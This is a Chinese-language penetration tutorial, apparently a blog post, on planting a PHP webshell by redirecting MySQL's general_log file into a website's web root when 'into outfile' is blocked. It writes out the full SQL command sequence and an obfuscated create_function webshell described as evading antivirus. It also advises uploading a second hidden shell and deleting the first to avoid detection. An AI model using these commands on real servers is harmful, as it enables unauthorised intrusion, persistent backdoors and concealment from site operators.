利用Mysql的general Log 写Shell[突破into Outfile]
0x01 前言:
实际渗透过程中,我们很可能会遇到这样的情况,明明是正儿八经的mysql root权限,但实际利用into outfile写shell的时候,却怎么写不进去,可以肯定的前提是,我们对目标的网站目录绝对是有写权限的且mysql的root用户本身并没有被降权,一般出现这样的情况很可能就是因为into outfile被禁用或waf拦截,希望下面的方式能帮到你
0x02 拿shell:
利用mysql日志文件来拿shell,究其原理其实也非常简单,当我们开启general_log以后,每执行一条sql都会被自动记录到这个日志文件中,我们就可以通过这种方式把我们的shell也自动写进去,运维可能平时都是拿这个查慢查询用,只会临时开启下,所以,如果想利用,就只能我们自己手动开,这就是为什么要root权限才行,因为它涉及到mysql自身参数配置,其实,这里稍微有点儿mysql常识都会懂:
1 | mysql> show variables like '%general%'; 先看下当前mysql默认的日志位置在什么地方,'C:\ProgramData\MySQL\MySQL Server 5.5\Data\2008R2DC.log' 顺手把原来正常的日志路径稍微记录下,等会儿干完活儿再把它恢复回来 |
1 | mysql> set global general_log_file = 'C:/Program Files (x86)/Apache Software Foundation/Apache2.2/htdocs/abouts.php'; 此时,再把原本的日志文件位置指向到目标网站的物理路径 |
1 | mysql> select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>"; 免杀shell,eval方式 |
0x03 处理后事
最后,干完活儿以后务必记得把配置恢复原状[不然,目标站如果访问量比较大,日志文件可能会瞬间暴增连shell时会巨卡],拿到shell记得马上再传一个shell[放的隐蔽点,关于webshell隐藏细节,请参考博客相关文章],然后再通过新的shell把最开始这个shell删掉,谨慎一点,起码不会让你的shell掉的那么快
1 | mysql> set global general_log_file = 'C:\ProgramData\MySQL\MySQL Server 5.5\Data\2008R2DC.log'; |
0x04 后话
并不是什么特别新奇的技巧,都是mysql自身的一些基础特性挖掘利用,大家真正的理解才是主要的,利用过程中可能并非一帆风顺,把解决问题的过程记录下来,才是你真正的收获,祝大家好运
0x05 想成功利用的两个必要条件:
1 | 事先要想办法找到目标站点的物理路径,不然要把log指向哪里呢,因为我们从外部能访问并执行webshell的地方只有目标的网站目录 |